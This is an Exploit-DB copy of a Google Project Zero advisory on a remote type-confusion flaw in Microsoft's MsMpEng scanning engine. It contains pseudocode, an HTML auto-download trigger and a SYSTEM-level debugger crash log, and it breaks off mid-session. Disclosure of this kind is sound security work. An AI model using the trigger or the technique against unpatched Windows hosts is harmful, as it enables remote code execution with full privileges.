Exploit-DB #41975
Description: Microsoft Security Essentials / SCEP (Microsoft Windows 8/8.1/10 / Windows Server) - 'MsMpEng' Remote Type Confusion
Type: remote
Platform: windows
Date: 2017-05-09
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5

MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, and so on.

On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system.

Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the service.

The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers. 

NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds.

We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it:

$ mpscript 
main(): Please wait, initializing engine...
main(): Ready, type javascript (history available, use arrow keys)
> 6 * 9
JavaScriptLog(): 54
> document.location.hostname
JavaScriptLog(): www.myserver.com
> "abcd" + String.fromCharCode(0x3f)
JavaScriptLog(): abcd?
> /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX?
JavaScriptLog(): yes
> for (i in document) log(i)
JavaScriptLog(): appendChild
JavaScriptLog(): attributes
JavaScriptLog(): childNodes
JavaScriptLog(): createElement
JavaScriptLog(): createTextNode
JavaScriptLog(): getElementById
JavaScriptLog(): getElementsByTagName
JavaScriptLog(): write
JavaScriptLog(): writeln
JavaScriptLog(): referrer
JavaScriptLog(): cookie
JavaScriptLog(): location
JavaScriptLog(): undefined
> window.ScriptEngineBuildVersion
JavaScriptLog(): [object Function]
> window.ScriptEngineBuildVersion()
JavaScriptLog(): 8831

We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().

In pseudocode, the code does something like this:

    prophash = JsObject::genPropHash("message", 0);
    RuntimeState::getThisPtr(&thisptr)

    if (JsObject::get(thisptr, prophash, &message)) {
        JsRuntimeState::triggerShortStrEvent("error_tostring", message);
    }


The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable.

int __fastcall JsString::numBytes(JsString this)
{
      if ( this == 0x12 )
        return 0;
      if ( (this & 0x12) == 0x12 )
        return this >> 5;
      return this->vtbl->GetLength(this);
}

Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.

Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).

To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this:

    <a href="testcase.txt" download id=link>
    <script>
    document.getElementById("link").click();
    </script>

3: kd> !process
PROCESS 8805fd28  SessionId: 0  Cid: 0afc    Peb: 7ffdf000  ParentCid: 01c8
    DirBase: bded14e0  ObjectTable: bfb99640  HandleCount: 433.
    Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
  debugger time: Fri May  5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07            mov     eax,dword ptr [edi] ds:0023:41414141=????????
3: kd> lmv mmp